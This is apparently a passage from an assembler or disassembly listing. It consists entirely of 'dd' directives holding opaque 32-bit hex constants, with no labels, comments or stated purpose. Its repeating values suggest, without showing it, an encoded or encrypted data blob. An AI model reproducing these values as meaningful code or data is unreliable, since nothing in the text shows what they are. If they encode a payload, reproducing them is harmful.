		dd 0C13F094Bh, 2FBA9CE0h, 0E8290963h, 745DA299h, 83DA2803h
		dd 11745687h, 0EBE2D635h, 0F7644ABh, 0B18AEED7h, 220B674Dh
		dd 5E9485C5h, 0C452077Fh, 23AA83EDh, 0F4D93677h, 4236A195h
		dd 0F5C73502h, 306A58B6h, 8AF9C638h, 3F684488h,	9EF2F4D0h
		dd 310B7946h, 78AE9CCAh, 0C4150175h, 44A78FE2h,	0C0DA380Ch
		dd 6A5EA880h, 8FC80C60h, 127C43B9h, 86FEE23Ch, 167A58AAh
		dd 0B993E1DEh, 8166442h, 66B098E8h, 0AF0B0566h,	7EB28BC9h
		dd 0E3D73F0Eh, 674FA8BAh, 9AF6D022h, 3D5274D0h,	0D4CBF10Dh
		dd 1F3A330Ah, 0AAB889F8h, 0D40A4647h, 529994EFh, 0C61C6D71h
		dd 7A4A96E3h, 0F2D31E1Eh, 763B9A9h, 0A2F9D80Ah,	16784CA1h
		dd 0AEEAC416h, 160A5459h, 0A48BDFA8h, 0E92E1C77h, 4EA399F1h
		dd 0A7031949h, 383B347Bh, 8FC218BCh, 0F6CEC5E0h, 9D919510h
		dd 320B47C8h, 0DA90CA14h, 0C026D9BBh, 0ADB6D178h, 0E00C2C58h
		dd 1A3A7C6Bh, 5FC56540h, 0E3A72EF0h, 0AE0D5Dh, 28D93120h
		dd 0FE2730DDh, 9831218Ch, 0B9FEF7E8h, 0EBFFF63Ah, 0BEE6C595h
		dd 27D67EDCh, 73CEED88h, 9FD3976Ch, 61E25EF0h, 0ED6ECA6Ch
		dd 731E5598h, 0EDE0A944h, 33064F92h, 0D7F2F872h, 103F0D42h
		dd 0DB4F06F4h, 0F4563525h, 1B571ED5h, 16BE1D4Dh, 8476BD0Bh
		dd 0BBB3CDEDh, 0FA1ED2DCh, 0A39EADDDh, 8AB1AC4h, 40246AE3h
		dd 757D5A9h, 0A7517098h, 474A6937h, 0E4391AD4h,	0A25AD4F7h
		dd 8CA3CDA8h, 0FF9A9A85h, 94E97638h, 3F072AB3h,	0DE7E5D0Dh
		dd 0CFC9613Bh, 4454ED20h, 0B2590E63h, 0A30E58D4h, 144E1901h
		dd 0A843DAFDh, 1ACAC1ECh, 786142A7h, 3AC97613h,	0DB86A5A8h
		dd 0BAF34C3Ch, 0C3AE97BCh, 3AD7B017h, 2B96E83Eh, 0F613355Dh
		dd 0EC6F8CA8h, 0CF9F25E1h, 5F2242E0h, 0C2AE24A3h, 0A1532D88h
		dd 37AF9940h, 4B761530h, 840F00F1h, 0D95E3D02h,	215F646Bh
		dd 0CB46251Ah, 33121CAEh, 0AE6768h, 0B87C3520h,	0AB8CE1D5h
		dd 0A022ECCCh, 93E4CB3Dh, 656A2D34h, 5125D8A0h,	48531B1Dh
		dd 27BD12BBh, 5F3F4CFBh, 5E2584h, 0CA2416Ch, 231D6608h
		dd 9D3F2468h, 0D00665DAh, 0D7F39D06h, 4BE48628h, 3CDAF9A5h
		dd 0CB9D5EE8h, 81312A07h, 0D4BB2919h, 0CDC13C16h, 0ACA982E3h
		dd 0FC41E557h, 89DAFD84h, 35284884h, 3B636A4Fh,	0C4624119h
		dd 0A655F15Ch, 0AF0A5C60h, 0F14532ABh, 0FDB5967Bh, 8A2E25E8h
		dd 9559BA33h, 62FE6DCAh, 6A82A14Ch, 0ADD47C7Ah,	0C1AFC7Dh
		dd 8D209049h, 0B3D7F1DCh, 2A0C6500h, 5F0C9F11h,	4854A270h
		dd 72229B9h, 72C3BD58h,	2F112039h, 911B2E40h, 0D472510Ah
		dd 0C3E6A9D4h, 0BFE3FD2Bh, 0C757F590h, 0A7426304h, 123AB5ACh
		dd 1A554974h, 7B66F070h, 731F4DD7h, 630F29ECh, 0DF90C944h
		dd 4B7611D8h, 93B0D7ACh, 26A12A18h, 2F8ADC18h, 0CCBAC33h
		dd 1732D0F8h, 81C41C39h, 171B53B5h, 0AB96B550h,	3B97DE9Eh
		dd 45FEDD8Dh, 141EFFB1h, 3F8ED1F0h, 0E052711Dh,	3EA5977h
		dd 60BA5906h, 4B00FD65h, 4727186Ch, 67FD2BACh, 855E2204h
		dd 0C5777C0h, 1B676EEAh, 1A6E4D1Dh, 0EFAF3921h,	97C38A46h
		dd 0AAC2A1B9h, 0C4EC192Fh, 82728D9Eh, 0FBA741F7h, 0B7219ADCh
		dd 10D7BD22h, 0F2A496Fh, 9BA6C5E0h, 23F7FE7Eh, 0B2DEBDADh
		dd 0AF4861D0h, 3FB21A80h, 8F27AE74h, 502E8DDEh,	0C9822C9Bh
		dd 0A94B3590h, 0D902A148h, 157F6832h, 0DA6E043Fh, 0A2850560h
		dd 27D26411h, 724D6D48h, 9BE826D2h, 943E5AB0h, 822C1EDh
		dd 0F39FADDCh, 5534A9D4h, 5BC0B535h, 0D37D1102h, 0C3EE8CA9h
		dd 0CA7A47A4h, 1557B361h, 0E00C285Ch, 0DCB59F8Dh, 0C0AB0FB2h
		dd 11770BCBh, 0A4C4E05Ch, 551EB837h, 0E4A39904h, 94F31AF1h
		dd 4AE281ACh, 0F343DF9Dh, 47CA8394h, 9B46650Ch,	82CD82ACh
		dd 83EE7B78h, 7F1A35D9h, 5413BA50h, 8E0221CCh, 0D3FE9D09h
		dd 1D3A37B5h, 0BEE9D3E9h, 0B75271B9h, 8FC62B0Bh, 1BB55438h
		dd 0B36D569h, 74D76150h, 7C240174h, 0EF8A25D1h,	7B0B88C0h
		dd 0EAD2B19Ch, 370B6A09h, 37686D1h, 2A2A0030h, 4FE21EF2h
		dd 0E2CB290Ch, 7F29B775h, 8E896A5Ah, 8855F7B4h,	59BFA248h
		dd 5F7A3ED4h, 34A47747h, 757BDB9h, 631ECE98h, 471A3944h
		dd 1BC6E589h, 0F9C53E38h, 674FA284h, 0DF0F4664h, 0EE1675E6h
		dd 0D4B4D58Ch, 19FB94F1h, 9EEAC982h, 0BB640548h, 6183A01Ch
		dd 87DB9258h, 923A99B2h, 0CBAD56E5h, 0CE1191ECh, 0A1CEEC0Ch
		dd 0FAF57885h, 0DBC6902Ch, 0A85615BBh, 83DBB13Dh, 3F998124h
		dd 6BC3821Dh, 64BB600Ch, 477892ABh, 0CAF80823h,	184F88BCh
		dd 98E1DE2Eh, 345259AEh, 0B09EF72Dh, 82A6647h, 0A290F3D9h
		dd 0D6080976h, 40A39AE6h, 0E303396Eh, 655DBD8Ch, 0D7AE3F0Dh
		dd 1A7D4B85h, 98F9FD24h, 670021B8h, 0A1AB6D47h,	3D1A35BDh
		dd 568FFDCFh, 0D4201832h, 42A28CEFh, 0EF94207Ch, 4278D59Ch
		dd 0ED820A2Fh, 1D7F59ADh, 0E5FFD12Eh, 9437695h,	0E5C2F09Ch
		dd 725E3818h, 11FAD784h, 0E17B4F30h, 78CA8C3h, 0E1D72B5Eh
		dd 5A20BC80h, 0FBA64588h, 9A936CDCh, 0E3CEB0FCh, 4A0D9C02h
		dd 34F695F0h, 75795B9h,	2C363C98h, 0B1205560h, 2E96500Bh
		dd 3BEB513Ch, 295BE3D4h, 0A43802h, 0E63540CDh, 0A7B4E1F1h
		dd 51089638h, 6A8C2CE3h, 880C80ADh, 0B25DF1DCh,	0A30E5E98h
		dd 0E57C507Eh, 70481BFCh, 0C8C0C05Dh, 7613FEB3h, 6F4A3C65h
		dd 0B186CF10h, 0F3E7EE32h, 40EECD9Dh, 0BB525D58h, 2F3EDEE5h
		dd 0F442610Ch, 0EC3E9EBEh, 0CF9FC1E1h, 876E2DE0h, 0F07A4EA3h
		dd 300E2DC8h, 90A5DA02h, 0DE891563h, 0C7A2B424h, 4CA24CF0h
		dd 0DC9C016Bh, 16B99AFFh, 1772C2FFh, 83AE4680h,	3A496CE4h
		dd 0C5A48602h, 674E6D88h, 0E6620847h, 45820974h, 4CE685A0h
		dd 0DE20016Fh, 62A899E6h, 0A450904h, 0B76E0B8h,	0B2F6C4E5h
		dd 42113D98h, 0F76A24D9h, 0DE8F2580h, 0D7B2A7FAh, 0DFFBF279h
		dd 0ACDAB991h, 0AB567178h, 0CA776C8Ch, 0CABE1D60h, 39067479h
		dd 2D4E4520h, 11EDCE2Ah, 0FEE9288Fh, 0AF851984h, 0D69F3033h
		dd 0CA62016Ch, 73C3DA0Dh, 0C51E3914h, 49C68F81h, 97B25314h
		dd 33BB3268h, 7A9AF952h, 49636F10h, 0FAD82CC1h,	392C1D78h
		dd 0A85F04B2h, 0EF66453Dh, 6682A1CAh, 97DB925Ah, 473A99B2h
		dd 0BD9AC08Fh, 82E4C1ACh, 0F3DE8515h, 6F06C1D4h, 88D1A540h
		dd 64395273h, 8FAAA39Ah, 2AA57968h, 2B96C00Ch, 0A745099Fh
		dd 0A6B3DDF8h, 8FEA5130h, 879B48B9h, 1F92F169h,	9CF1DB99h
		dd 0DFFA95ACh, 53F4230h, 93A7CFE5h, 0FF123936h,	0B35F1694h
		dd 1E462535h, 0F0B6DE3Ch, 10AE4D69h, 7F1A3C8Ch,	69233850h
		dd 3E0261D4h, 0E5E62035h, 55820974h, 0B8197A56h, 0F7646DA1h
		dd 0A7C1ED88h, 9FBA58C6h, 0AA63971h, 0EFF6416Ch, 731E3CD9h
		dd 0DA763CABh, 9F872580h, 0D7F2902Ch, 29BA8678h, 0AA25ABA4h
		dd 0AB16430Ch, 529B2109h, 80363575h, 9AD5C9F4h,	0FBE670DCh
		dd 0CA91D337h, 0E3CEB021h, 0D2536CC4h, 8BEBF835h, 0D29D512Ch
		dd 339ECB90h, 2B45A991h, 1BC6E4BBh, 1CBE11F7h, 8C1E32E8h
		dd 0BF87D0E1h, 2693F3D0h, 0E682E174h, 52141D52h, 5A158BDEh
		dd 0BB263334h, 382D091Fh, 0A34F7F8Ch, 8AB74A84h, 8BF64815h
		dd 5470D186h, 0C59A28A7h
		dd 0AF8F2994h, 0DB74204Fh, 0EAFF113Ch, 0C3AE902Eh, 3B27195h
		dd 43290A6Ah, 0A7426198h, 9AD8F6A6h, 70FE6D40h,	3B135D75h
		dd 632F3C5Ch, 0D20E6DD5h, 25677145h, 0FFDEACFh,	27239188h
		dd 971A7610h, 272A2890h, 9362210Bh, 173739ACh, 0AD8B4D68h
		dd 281A41D2h, 0DEC220AFh, 0A381218Ch, 0D5B95BB4h, 0CEFF8414h
		dd 51E6C5BDh, 0B773191Ch, 709CED88h, 0A9AACCFBh, 77BBD5B0h
		dd 78F55548h, 332B654Dh, 0D78E6F54h, 5B6C65CAh,	28A1C6ECh
		dd 3581DBDh, 0B23CFAA4h, 0EB4BD7ADh, 4FC28B8Ch,	93BE5D74h
		dd 9AD59AA3h, 0FBE67370h, 77123DE1h, 6EC3D848h,	1F4C5771h
		dd 867B18B0h, 6C624114h, 62DE9756h, 3AB53A42h, 1B86D38Ch
		dd 0E9B2A9FFh, 0FDA55CC7h, 0C9D40CE9h, 66A63590h, 0F7F70FBEh
		dd 0A986F558h, 0BD8B764Bh, 366FE637h, 0DD39F0EBh, 6D65A283h
		dd 29746409h, 2F455530h, 0BEC9366Bh, 0F30B420Bh, 0EF0A69E2h
		dd 9B93D2FDh, 7D06103Ch, 0C39BBDC0h, 3CF8624h, 0ABD6B5A5h
		dd 0E77A2CB1h, 24ADDF8h, 92C3CCB3h, 7B26C5A0h, 7254B15Ch
		dd 634E1585h, 21AC7044h, 0CEB1EACFh, 0C7A2942Ch, 335E7D18h
		dd 2FCE2BC9h, 0BB096F0Dh, 795DBE92h, 0A3C82248h, 1A7C5088h
		dd 0CBD99571h, 26F48B8h, 0F391E998h, 2A066C57h,	4F87F7C2h
		dd 0BD5F5079h, 3EECDA8h, 0EC9A1624h, 6E5BB885h,	0E6C5611Eh
		dd 1D7B59AAh, 0BD80A475h, 356349A5h, 0A497FDC8h, 6317615Bh
		dd 4FAA98CCh, 0C5375569h, 5FA7C1E8h, 0E7DD3808h, 235EA795h
		dd 9AD23640h, 197B55B2h, 0CEAE972Fh, 3E2D13C9h,	0A29EF6C4h
		dd 26426642h, 57FE91F4h, 0CE6A1075h, 75E681EEh,	0E3DA3615h
		dd 6C48EDC4h, 8DFC9916h, 0F7850B9h, 0C7CB813Fh,	27177C4Fh
		dd 98E0848Eh, 0DE146048h, 52A090BCh, 0D6211428h, 6D5CF9A8h
		dd 0EFD83019h, 4402FE9Fh, 0D2FBD037h, 4F7E60F4h, 0AFA6D629h
		dd 76177C55h, 0E49AC488h, 0DE365957h, 26F790E4h, 60C66506h
		dd 0B52AF4C8h, 5BD3A464h, 0CADC20AFh, 0C0C0F97Bh, 0C51A3E88h
		dd 4657DE54h, 258F7F52h, 6CBBD6CCh, 0DF922122h,	9779BB56h
		dd 0E8871BD8h, 1732D1E6h, 83AE4D68h, 7F1A39E4h,	0EB96B550h
		dd 670221CCh, 0D3FE9DB8h, 4F6A0934h, 3BE685A0h,	0B752711Ch
		dd 23CEED88h, 9FBA5904h, 0B36D5F0h, 87A2416Ch, 731E3DD8h
		dd 0EF8AA954h, 5B0625C0h, 0D7F291BCh, 436E0D28h, 3FDAF9A4h
		dd 51C29710h, 82418173h, 93FE64DEh, 0A58F4AF4h,	0FBA60559h
		dd 635186D3h, 0EC96FEC5h, 5C7C5273h, 0EFB21E60h, 4B202A08h
		dd 71E5E4EAh, 245E1A1Ch, 59EDF1C2h, 3127D870h, 8A2E8DD1h
		dd 0BFA313E1h, 0E813DED0h, 3E60898Eh, 537ADF59h, 0ED1D0C3Ch
		dd 0DF8E0560h, 5FD2F19Ch, 0A34E6D28h, 3D1E5C09h, 0B2EF5530h
		dd 842EB5F4h, 47CB998h,	5684AC2Bh, 2C45A500h, 0A0FF12E5h
		dd 20EECD8Ah, 432A8634h, 0C355F51Fh, 2EB48308h,	531CF965h
		dd 8F90CA74h, 490DC094h, 7A82C35Fh, 3856D186h, 0DFC01A1Ah
		dd 79891144h, 0B51D8247h, 4C099508h, 0E1E1166Bh, 0A2ECE82Bh
		dd 146AD1BCh, 0C6D7923h, 3F23AB61h, 65137250h, 670261F5h
		dd 3BFE9DB8h, 4F6A0908h, 268002Bh, 0C2BA715Ch, 0CB31127Fh
		dd 9FBA591Ch, 32B86873h, 0F2A2412Ch, 0D383B4D0h, 48AE976h
		dd 0D58BDA5Ch, 14F2D185h, 7AFC88A7h, 0AA53F9E4h, 0AB164C9Eh
		dd 27C2E264h, 50776E78h, 0FAA5A7Fh, 13F44560h, 88EDCF31h
		dd 0DA24384Bh, 89791984h, 0CBFAEF33h, 46658523h, 495DFD98h
		dd 2B456904h, 1BC6E57Dh, 0C7BE13F7h, 0FCD00500h, 551FBA9Bh
		dd 681675E9h, 0EF08F18Ah, 277EE4B8h, 0E11309ADh, 50260654h
		dd 369A7A6Dh, 7C918C89h, 0E6BB065Bh, 8BFA1934h,	2C7B2D99h
		dd 9673E90h, 6FBDA6DBh,	5AE0A540h, 6541EF44h, 0C34508A7h
		dd 3C0C7924h, 2EA3F5AAh, 4C522B87h, 103456FAh, 0FD421885h
		dd 78D93A1Eh, 0B7AB1BE9h, 0A38B80C8h, 5BF5623Ch, 4B7615B4h
		dd 0FE483453h, 5B0E7D58h, 0D03517C1h, 0A2ECE003h, 92BDD1BCh
		dd 83EE74C2h, 2C3E3DE7h, 0D89475D3h, 6FB42E17h,	1A7E8F5Bh
		dd 6BAB5A14h, 27CF8184h, 935E5838h, 0CA25ADD3h,	48B5A285h
		dd 3542084Bh, 0C20ABAEDh, 456AE6B6h, 0D4D352D5h, 7572DA61h
		dd 0F5246A3Dh, 651AA19Dh, 0D6490225h, 0B5228648h, 0CEBF1A0Dh
		dd 85CAAE20h, 306C3275h, 0F5D2A445h, 4822CA5Dh,	0E5FA4C6Dh
		dd 66E88C3Bh, 22AD95F0h, 0B89DFE5Dh, 271C7EC6h,	50B486FDh
		dd 71C7267Fh, 825A0978h, 8BD1321Eh, 0BFBE68F1h,	5AAE53D0h
		dd 2760A354h, 0B17C1EDCh, 0C98022D2h, 4E9CED78h, 0F5510E63h
		dd 0C99FEA00h, 0F2D28181h, 0B49AA85h, 0C51C216h, 769CEDE8h
		dd 6F4A0D05h, 0B1A14EEAh, 0D7D84954h, 0DB9B8E52h, 72B26894h
		dd 93290A65h, 0A742610Dh, 1E4A0F7Ch, 4554A9A5h,	7ECD330Bh
		dd 0F792B1E4h, 0DCEC8648h, 0E3471487h, 0BC765504h, 87D6B029h
		dd 0B35E7D18h, 9FC99D14h, 1EB1CF60h, 1772E5CDh,	82AE4D6Bh
		dd 7FECBDEBh, 0BE2EB550h, 0CCEACD47h, 45431413h, 0FF6A490Dh
		dd 0CC4D2F48h, 0F7664099h, 23CEED88h, 507D005h,	7F3695C9h
		dd 0B627B627h, 731E7DECh, 5788A954h, 6DF941A7h,	0B04A94C9h
		dd 0E840864Ch, 3FDA41C2h, 0A822DE76h, 0D068BC3Ch, 0D38A6CFDh
		dd 0F2AC9F4h, 962BFD68h, 616731D4h, 0D7BF28BFh,	5F7A1984h
		dd 484E91B0h, 336209E9h, 0DE5D459Dh, 0E0E169ECh, 2FF76077h
		dd 97B1513Ch, 75ACDE8h,	543050D4h, 5280B05Bh, 2809A10Ch
		dd 1BF7D513h, 0FE6F7E48h, 0B8664514h, 43D2F19Ch, 0C729D557h
		dd 0A2B3EF7Bh, 8BF66CEEh, 7227947h, 4B35D93Fh, 6F0A0F5Dh
		dd 253B4DEBh, 77C2EEC3h, 3C124240h, 0D9639ADBh,	4DC30A28h
		dd 2CE9F0A7h, 530AEC6Dh, 7878BE74h, 7B26C622h, 1F86C45Ch
		dd 9CF1D35Fh, 761286F4h, 2D89EACCh, 0A1F77E14h,	38F5ECB3h
		dd 0B14F625Bh, 0B0462539h, 0EB7A5834h, 0B79FC89Fh, 7F1E39A4h
		dd 0F9E2B550h, 99C20874h, 0DB463670h, 0E46E7DF4h, 0D01EF018h
		dd 32A5DA7Bh, 238ED9B9h, 9FBA590Ch, 0B6B69F85h,	87E27543h
		dd 0CB5F49D8h, 26A3B17Dh, 6F2D80CAh, 333291FCh,	68CB072Bh
		dd 94DAB990h, 21FCC4A0h, 67F6CE09h, 0D30EF778h,	3B014CFEh
		dd 9D0C4520h, 80EFD364h, 0A3BA9CCDh, 5F7A09C4h,	7BF1E1B0h
		dd 0FF04AB65h, 98B801EDh, 9CE081A4h, 0A64F4E40h, 97F268FEh
		dd 371F481Fh, 0FFBAB924h, 626335D0h, 6288F9FCh,	533E2911h
		dd 4E52EF1Eh, 8AE3F2E0h, 77D2B1A8h, 0D74E6D08h,	37FE5987h
		dd 0BF9FF07Ah, 0AC44C1ACh, 0CA1800D1h, 98A12994h, 9BB294C5h
		dd 5772113Ch, 73E7F8E8h, 96DF7B74h, 81D6B5A4h, 9373E4FBh
		dd 13BEDDB8h, 84DF4974h, 0FE2C7D50h, 0F7D28576h, 533C662h
		dd 28E2A8FCh, 0B4224B5h, 0C7E381ACh, 35C0918h, 56FE3BDh
		dd 5B462534h, 0B238D218h, 83EE7942h, 0C77C9282h, 6E6145D1h
		dd 674215FDh, 0D3FE9FB8h, 87DE0B41h, 0FCC20AAh,	1C34715Ch
		dd 1A6C5001h, 0A3025944h, 0A036D5D4h, 0B393C49Bh, 73163D98h
		dd 83FEA954h, 6F37A037h, 0D3F291FCh, 481B0D28h,	0BAD04114h
		dd 0AB16413Bh, 0D08F0A26h, 0D38A6CFDh, 0F22C9F4h, 9DB73060h
		dd 7DF2B264h, 0A3BA86EDh, 6CD17FC4h, 0DE1D3F70h, 5F4BB94Ah
		dd 7F55892h, 4B8A6954h,	3063EF83h, 0F1B21148h, 32AB3A43h
		dd 0FF9AF950h, 0D1635C0h, 934220F4h, 5BBA9D3Bh,	0FBC12CBEh
		dd 10000560h, 18574793h, 84E2D3Ch, 2B0B5C73h, 8BB65530h
		dd 0E5681ECh, 769CEDE8h
		dd 6F4A1DFDh, 0EA0352EAh, 57725108h, 73EE8D88h,	0BB580CA2h
		dd 0D5997894h, 936BC486h, 9EB7DDB8h, 8FEA70FEh,	87A66E86h
		dd 4795C459h, 9C41ADC8h, 5A0D3304h, 4B362101h, 0C7E2C1ACh
		dd 8238C57Eh, 67EEBE1h,	83F6CE66h, 231954F6h, 636E4D28h
		dd 0F7AA93E7h, 0DFA730A7h, 0E702218Ch, 0D18B9DB8h, 0EAE08F84h
		dd 3BA6B189h, 4BD2DA7Ah, 93C9988Dh, 60F5D904h, 8EC17FB0h
		dd 87E2755Dh, 731F3DD8h, 0AF3AA221h, 6F2FA0CAh,	3C5891FCh
		dd 0C0D66B27h, 167FF364h, 0CD563524h, 8DC35127h, 0A78FD88Fh
		dd 0F2AC9B4h, 0D4D34562h, 4323B42Bh, 0E38EAD08h, 450F19C0h
		dd 4EFC5500h, 47223507h, 7EE5812h, 4F8B6954h, 7D7E8390h
		dd 9702FAFDh, 439EC503h, 0CBB13C6Eh, 9CBC3590h,	0A7B690C9h
		dd 5B7E1D38h, 0A9FAFCB4h, 0B18E8698h, 77E6DB39h, 13E50B08h
		dd 0AF323285h, 0A1335F38h, 0AD2281D8h, 0C7AF38AFh, 6F0A2994h
		dd 0AE37A550h, 0EF143449h, 66E4752Bh, 0BF1A4D0Eh, 0EBE55EF6h
		dd 2DFF48A6h, 0E43E9DC1h, 0CF9E78F1h, 5B26C5E0h, 468DC45Ch
		dd 515C6BFh, 0D5E290FCh, 0B423F95h, 0C40641ACh,	8774D812h
		dd 84ACE9D4h, 0A2CCD829h, 0D6B8D1BCh, 0BA24E8E2h, 0D47C39A4h
		dd 6E94EDE0h, 674215E5h, 0E27B6A12h, 4C6A4900h,	34E785A0h
		dd 0B752F698h, 47A95588h, 12317F8Fh, 0B76E1C1h,	87A2B0EDh
		dd 0B2E93FD8h, 0EC8AA954h, 3CBE20B5h, 7CDC16D8h, 436E0D90h
		dd 4A719FA4h, 20EE1316h, 9F698769h, 95313A1Ch, 69EAFA5Fh
		dd 0CA23B2CBh, 771271E8h, 968FAD48h, 6EFFEE84h,	0CBF6D584h
		dd 336A012Ch, 0BE669BBEh, 9ECF9E78h, 1BC6A5B4h,	98B0517Ch
		dd 0E2240C7Dh, 361E1202h, 0D3703DA5h, 4CE4A568h, 5BCE0ED3h
		dd 0A9E4621Eh, 0B93B5D98h, 77E6DA19h, 48E50B08h, 0B5F36987h
		dd 0BF87D087h, 722C1ACh, 0D3EA3D58h, 0EA202E64h, 0DBC69169h
		dd 5A68F1FDh, 0C3CA8521h, 8B73DC26h, 0CF16F5D0h, 0A386E10Fh
		dd 0B95F6D53h, 6F55F112h, 4F0F60EAh, 5CF4B11Ch,	573FA83Fh
		dd 0DFDA9904h, 18021530h, 0F3D3045Bh, 0B35E7D58h, 22BEC994h
		dd 9B45A2F7h, 1246D1FCh, 6804DDD8h, 0F4DDB217h,	0ABAF37DDh
		dd 0EEC30ACCh, 8B4E61F9h, 7B438C3Eh, 0CC4C85E0h, 0F7664099h
		dd 63CEED88h, 0F9B62D04h, 1F58548h, 0C79668E9h,	1514D6D8h
		dd 0E56A56ECh, 1B320C65h, 2059F7BCh, 35A3CADh, 3FDAFAA4h
		dd 5C250111h, 67F6D009h, 93BE5D78h, 0F827BDD4h,	0FBA646A7h
		dd 0C71745DCh, 106507D8h, 0DAF1D64Fh, 0CBB6AC2Ah, 0FEBC907h
		dd 0C417CE64h, 0EF7E5891h, 9BC6E580h, 1ABC247Ch, 431AE46Dh
		dd 0BF923364h, 1815CC50h, 2A862CB4h, 536E397Ch,	7FE26975h
		dd 0BD85AEABh, 0F7E349FAh, 1B28C66Eh, 0A752590Bh, 89B65570h
		dd 5F89A70Dh, 865738F3h, 5EB24FD2h, 6B2DC380h, 0D2FFBBFFh
		dd 0C3AEB994h, 8B6BFCD3h, 2BD6F5D0h, 0A137710Ch, 4BC6F6AFh
		dd 0DC21509Fh, 50DEEEC8h, 551F3A8Ch, 620E6DF1h,	9FC31BD1h
		dd 0C04F1430h, 4EE6A5E8h, 0F34E10A5h, 0A9776294h, 0B0462539h
		dd 570B5379h, 0B22BBA68h, 3F1A79D0h, 9F96B550h,	0CCDAD6CEh
		dd 85FE997Ah, 0E1D78A63h, 3BE6C599h, 0B68BF513h, 2E26ED88h
		dd 0D4BA5904h, 4E7887B5h, 0A9907220h, 7352719Ch, 0DA023CABh
		dd 0DE8F2580h, 0D7B2A802h, 7F36867Bh, 4C2521A7h, 9F15FE38h
		dd 0D8341D64h, 352BD687h, 542A89CDh, 72AA0763h,	372BF359h
		dd 0EBCCAE48h, 66BC9C4Dh, 0B87D95F0h, 0C7D1FE04h, 0DBDEFD98h
		dd 50B59FC1h, 2260580Bh, 7FE4513Ch, 0FCD13B21h,	0C63C2CEFh
		dd 219D3590h, 0EBC8A244h, 0BAFDD313h, 0AF6286B1h, 0B4660521h
		dd 37D3AB18h, 9FB6E08h,	1C3A99BDh, 0CB8F27C5h, 0EF1E6DECh
		dd 0F33C3857h, 298729D4h, 0A9038E44h, 54725105h, 4506DDAEh
		dd 3CA586D2h, 6BEF532Dh, 0AC37610Ch, 1C329AC3h,	8FAB52F7h
		dd 422A2EE0h, 0B7AB17C9h, 6E8B22C8h, 0DCFA9945h, 0B4F67B5h
		dd 0FF63E7ACh, 365158E7h, 2FCAE968h, 0B044258Bh, 0FF62E5BFh
		dd 7C51BB21h, 46BC84DDh, 6E99B510h, 67022128h, 0EA5418BBh
		dd 0CA690974h, 3BA6BCD2h, 0F0797197h, 0EE4CE284h, 0A4BA5904h
		dd 8839DDB7h, 87A241A8h, 701CFD5Bh, 6A89BD13h, 5B461CB2h
		dd 620DC1EEh, 432E3496h, 0A926C5Bh, 2E0C7550h, 9047EE4Ch
		dd 7ABE5D78h, 0F2AC968h, 7EA9BA5Ch, 77123148h, 0EC9B93C8h
		dd 5F7A9241h, 0CAB01EB0h, 17564207h, 0CC2B2570h, 9F750EBh
		dd 6EC6A5B9h, 3D37520Bh, 2E8DD1h, 0BFA3CBE1h, 0A193BCD0h
		dd 6C82E175h, 91FB2638h, 0BDEAC98Dh, 7DE33E28h,	45D2B1A5h
		dd 0A34E5061h, 2848A984h, 8BB64A98h, 0FB6C4CECh, 0F1B57CD3h
		dd 541A6BD7h, 9BBF6FC5h, 0D47E643Ch, 0F2119D6Ch, 0A37E3DABh
		dd 0E8CD1EF1h, 9ED0E483h, 985EDDB8h, 0CF933BC1h, 8D502DE0h
		dd 5EF34EA3h, 0E30E2DC8h, 98D19731h, 707F673Ch,	45ED89EBh
		dd 4CA18224h, 9D4FE6DDh, 10B99AFEh, 0B0B3F5C0h,	83AE6959h
		dd 0E5C61Bh, 0A11789BBh, 670241E8h, 13CDD358h, 0C84E05BFh
		dd 7BDF2B25h, 82EBFC1Ch, 20CEEDACh, 0DF832B81h,	0AE93B3F0h
		dd 84646A22h, 3135299Ah, 14CC6F58h, 987E228h, 0D2F291BCh
		dd 0CA6E0D28h, 618505E2h, 0E5E3F8D3h, 71C2A1B4h, 0A6C2C887h
		dd 0F7A9C9B4h, 40224A9Fh, 0FE1231DCh, 0A3B7FFCDh, 97A73C4h
		dd 0FE42004Fh, 87E7016Ch, 337A7997h, 6F616914h,	18ACB5D0h
		dd 0FFB33B2Ch, 0C32ECDE8h, 0A30F4632h, 0E81675E5h, 638D5EB4h
		dd 537E1806h, 0F6BC0C3Dh, 36EB0560h, 3792C8C6h,	9A2CF885h
		dd 4D6BD9C4h, 74E6551Ah, 47174579h, 0C663E58h, 6A06ADDBh
		dd 0DBECA540h, 6E24A4C3h, 56118DE8h, 0BF1A4CA4h, 24290D13h
		dd 0A7469488h, 79BB54F8h, 0BCAA094Dh, 2AE5C629h, 0F3F8E00Ch
		dd 35BBD299h, 20FAD97Dh, 0B4375A5h, 0C82204ACh,	0B35AAC9Ch
		dd 0A603DA94h, 0DB7F0B85h, 466380FCh, 8CAE5200h, 0EAE569E4h
		dd 0EBD680F0h, 0E30DE149h, 0D3FE9932h, 76188CBDh, 832585E0h
		dd 0B75218D1h, 0D4F6A603h, 0DF8E6881h, 0B36D5F0h, 84A4347Ch
		dd 330E505Dh, 0EC589A54h, 0ACF7D201h, 0AD77185Dh, 0FB6E4D11h
		dd 3FDADD9Fh, 0A86A3E9Bh, 67D28C09h, 906C6E78h,	0F8DB3E35h
		dd 8D23CC81h, 0B41271E5h, 0E5C51A47h, 0D24FFA3Dh, 7CF98DE3h
		dd 9761156Fh, 1B1F96D1h, 95CBB917h, 75AF92DFh, 14AF2585h
		dd 712FC192h, 0C3D13284h, 6802775Bh, 0A30FB10Eh, 8A89E270h
		dd 4AD14897h, 0BB263C4Ah, 13867A5Fh, 2C8E5E18h,	1F3A6106h
		dd 443D9670h, 0BAAFCA07h, 0F3DE8516h, 5CD5A228h, 0BABA0989h
		dd 2D4E174Eh, 0E3C28FDFh, 0CB06458Eh, 5FF8C97Ch, 0D2425DD1h
		dd 98F73E10h, 0D7EF7475h, 7052C5A5h, 0A5D1E261h, 508B22C8h
		dd 540566BBh, 2212833h,	43EDC2E2h, 4CA1823Eh, 7A89BEA9h
		dd 80C26A4Eh, 2ACD2E03h, 0B19D0E3Fh, 800ABDEBh,	0BBAB4AAFh
		dd 684D759Fh, 2C01983Ch, 0A7B13ACBh, 0C4197B8Dh, 49AAF513h
		dd 0F1FD1277h, 9FBA4FECh, 0F4593DF0h, 874ABE93h, 2E1E3DD8h
		dd 0C00044D5h, 66EF2580h, 0B3F291BFh, 0F6E53FD7h, 3F9AC0D6h
		dd 0CD74FC74h, 7D8FDF0Dh, 9098D877h, 51A1C9F4h,	9D78465Ch
		dd 32420A5Dh, 0E0982847h, 1C8D19C4h, 0CBD695A6h, 4EE70E2Ch
		dd 0C5DEFD9Bh, 24483557h, 9FC9C5CEh, 97B25380h,	0FAAFC10Bh
		dd 0FF9AB865h, 69F8B3DFh, 2A6AA14Ch, 5C81E2C6h,	0CFE86A36h
